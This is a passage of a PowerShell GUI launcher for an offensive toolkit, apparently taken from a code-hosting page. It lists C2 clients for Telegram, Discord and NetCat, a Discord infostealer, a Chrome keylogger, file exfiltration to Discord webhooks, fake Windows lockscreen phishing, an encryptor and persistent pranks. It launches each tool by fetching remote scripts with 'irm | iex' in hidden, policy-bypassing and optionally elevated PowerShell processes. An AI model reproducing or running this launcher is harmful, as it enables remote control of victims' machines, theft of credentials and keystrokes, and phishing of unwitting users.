"Record Screen to Discord" {$url = "https://raw.githubusercontent.com/beigeworm/BadUSB-Files-For-FlipperZero/main/Record-Screen-to-Discord/main.ps1";$hide = 1}
|
||||
"Windows 10 Login to DC" {$url = "https://github.com/beigeworm/BadUSB-Files-For-FlipperZero/blob/main/Win10-Phishing/main.ps1";$hide = 1}
|
||||
"Windows 11 Login to DC" {$url = "https://github.com/beigeworm/BadUSB-Files-For-FlipperZero/blob/main/Win11-Phishing/main.ps1";$hide = 1}
|
||||
"Windows Idiot Prank" {$url = "$BaseURL/Pranks/Windows-Idiot-Prank.ps1";$hide = 1}
|
||||
"Memz in Powershell" {$url = "$BaseURL/Pranks/PoshMEMZ-Prank.ps1";$hide = 1}
|
||||
"Persistant Goose" {$url = "$BaseURL/Pranks/Persistant-Goose.ps1";$hide = 1}
|
||||
}
|
||||
Add-OutputBoxLine -Outfeed "$selectedItem URL : $url"
|
||||
|
||||
if ($admin -eq 1){
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -C `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex") -Verb RunAs
|
||||
Add-OutputBoxLine -Outfeed "Started $selectedItem With Console Hidden"
|
||||
$admin = 0
|
||||
}
|
||||
elseif ($hide -eq 1){
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -W Hidden -C irm $HideURL | iex ; `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
|
||||
Add-OutputBoxLine -Outfeed "Started $selectedItem With Console Hidden"
|
||||
$hide = 0
|
||||
}
|
||||
else{
|
||||
Start-Process PowerShell.exe -ArgumentList ("-Ep Bypass -C `$tg = `'$tg`' ; `$tk = `'$tk`' ; `$dc = `'$dc`' ; `$ch = `'$ch`' ; `$NCurl = `'$NCurl`' ; irm $url | iex")
|
||||
Add-OutputBoxLine -Outfeed "Started $selectedItem With Console Hidden"
|
||||
}
|
||||
|
||||
|
||||
|
||||
})
|
||||
|
||||
$infoButton.Add_Click({
|
||||
$OutputBox.Clear()
|
||||
$selectedItem = $dropdown.SelectedItem
|
||||
if($selectedItem.length -eq 0 ){Add-OutputBoxLine -Outfeed "Nothing Selected! Please choose a tool from the dropdown menu.";return}
|
||||
Add-OutputBoxLine -Outfeed "$selectedItem Information/Help"
|
||||
Add-OutputBoxLine -Outfeed "=================================================================================="
|
||||
$BaseURL = "https://raw.githubusercontent.com/beigeworm/Powershell-Tools-and-Toys/main"
|
||||
$PoshcryptURL = "https://raw.githubusercontent.com/beigeworm/PoshCryptor/main"
|
||||
|
||||
switch ($selectedItem) {
|
||||
"Telegram C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshGram-C2/main/Telegram-C2-Client.ps1"}
|
||||
"Discord C2 Client" {$url = "https://raw.githubusercontent.com/beigeworm/PoshCord-C2/main/Discord-C2-Client.ps1"}
|
||||
"NetCat C2 Client" {$url = "$BaseURL/NC-Func.ps1"}
|
||||
"LAN Toolset" {$url = "https://raw.githubusercontent.com/beigeworm/Posh-LAN/main/Posh-LAN-Tools.ps1"}
|
||||
"Encryptor" {$url = "$PoshcryptURL/Encryption/Encryptor.ps1"}
|
||||
"Decryptor" {$url = "$PoshcryptURL/Decryption/Decryptor-GUI.ps1"}
|
||||
"Filetype Finder GUI" {$url = "$BaseURL/GUI%20Tools/Search-Folders-For-Filetypes-GUI.ps1"}
|
||||
"Screen Recorder GUI" {$url = "$BaseURL/GUI%20Tools/Record-Screen-GUI.ps1"}
|
||||
"Network Enumeration GUI" {$url = "$BaseURL/GUI%20Tools/Network%20Enumeration%20GUI.ps1"}
|
||||
"Microphone Muter GUI" {$url = "$BaseURL/GUI%20Tools/Mute%20Microphone%20GUI.ps1"}
|
||||
"Webhook Spammer GUI" {$url = "$BaseURL/GUI%20Tools/Discord%20Webhook%20Spammer%20GUI.ps1"}
|
||||
"Social Search GUI" {$url = "$BaseURL/GUI%20Tools/Social%20Search%20GUI.ps1"}
|
||||
"GDI effects GUI" {$url = "$BaseURL/GUI%20Tools/Desktop-GDI-Efects-GUI.ps1"}
|
||||
"Mouse Recorder GUI" {$url = "$BaseURL/GUI%20Tools/Mouse-Recorder-GUI.ps1"}
|
||||
"System Metrics GUI" {$url = "$BaseURL/GUI%20Tools/System-Metrics-GUI.ps1"}
|
||||
"PoSh Control (tray)" {$url = "https://raw.githubusercontent.com/beigeworm/PoSh-Control/main/PoSh-Control.ps1"}
|
||||
"Find Text string in Files" {$url = "$BaseURL/Misc/Find%20Text%20string%20in%20Files.ps1"}
|
||||
"Minecraft Server Scanner" {$url = "$BaseURL/Misc/Minecraft-Server-Scanner-and-Server-Info.ps1"}
|
||||
"Console Task Manager" {$url = "$BaseURL/Misc/Console-Task-Manager.ps1"}
|
||||
"Dummy Folder Creator" {$url = "$BaseURL/Misc/Dummy-Folder-Creator.ps1"}
|
||||
"Matrix Cascade" {$url = "$BaseURL/Misc/Matrix-Cascade-in-Powershell.ps1"}
|
||||
"Github Repo Search & Invoke" {$url = "$BaseURL/Misc/Github-Repo-PS-Search-and-Invoke.ps1"}
|
||||
"Global Powershell Logging" {$url = "$BaseURL/Misc/Global-PS-Logging.ps1"}
|
||||
"Terminal Shortcut Creator" {$url = "$BaseURL/Misc/Terminal-Shortcut-Creator.ps1"}
|
||||
"Text Cipher Tool" {$url = "$BaseURL/Misc/Text-Cipher-Tool.ps1"}
|
||||
"System Information to File" {$url = "$BaseURL/Information%20Enumeration/Sys-Info-to-File.ps1"}
|
||||
"Day/Night Bliss Wallpaper" {$url = "$BaseURL/Misc/Day-Night-Bliss-Wallpaper-Schedulded.ps1"}
|
||||
"Environment Variable Encoder" {$url = "$BaseURL/Misc/Environment-Variable-Encoder.ps1"}
|
||||
"Bad USB Detect & Protect" {$url = "$BaseURL/Misc/BadUSB-Detect-and-Protect.ps1"}
|
||||
"USB Poison" {$url = "$BaseURL/Misc/USB-Poison.ps1"}
|
||||
"Browser DB Files Viewer" {$url = "$BaseURL/Information%20Enumeration/Browser-DB-File-Viewer.ps1"}
|
||||
"Chrome Extension Keylogger to DC" {$url = "$BaseURL/Discord%20Scripts/Chrome-Keylogger-Extension.ps1"}
|
||||
"Discord Infostealer" {$url = "$BaseURL/Discord%20Scripts/Discord-Infostealer.ps1"}
|
||||
"Exfiltrate to Discord" {$url = "$BaseURL/Discord%20Scripts/Exfiltrate%20Files%20to%20Discord.ps1"}
|
||||
"PS Trascription to Discord" {$url = "$BaseURL/Discord%20Scripts/Global-PS-Logging-to-DC.ps1"}
|
||||
"Discord Keylogger" {$url = "$BaseURL/Discord%20Scripts/LogKeys%20to%20Discord%20-%20Activity%20Intelligence.ps1"}
|
||||
"Record Screen to Discord" {$url = "$BaseURL/Discord%20Scripts/Record-Screen-to-Discord.ps1"}
|
||||
"Windows 10 Login to DC" {$url = "$BaseURL/Phishing/Fake%20Windows%2010%20Lockscreen%20to%20Webhook.ps1"}
|
||||
"Windows 11 Login to DC" {$url = "$BaseURL/Phishing/Fake%20Windows%2011%20Lockscreen%20to%20Webhook.ps1"}
|
||||
"Windows Idiot Prank" {$url = "$BaseURL/Pranks/Windows-Idiot-Prank.ps1"}
|
||||
"Memz in Powershell" {$url = "$BaseURL/Pranks/PoshMEMZ-Prank.ps1"}
|
||||
"Persistant Goose" {$url = "$BaseURL/Pranks/Persistant-Goose.ps1"}
|
||||
}
|
||||
$fileContent = Invoke-RestMethod -Uri $Url
|
||||
$pattern = '(?s)<#(.*?)#>'
|
||||
$matches = [regex]::Matches($fileContent, $pattern)
|
||||
foreach ($match in $matches) {
|
||||
$textInsideHashTags = $match.Groups[1].Value
|
||||
Add-OutputBoxLine -Outfeed $textInsideHashTags
|
||||
}
|
||||
Add-OutputBoxLine -Outfeed "=================================================================================="
|
||||
Add-OutputBoxLine -Outfeed "$selectedItem URL : $url"
|
||||
})
|
||||
[Windows.Forms.Application]::Run($form)
|
||||
|
||||
Reference in New Issue
Block a user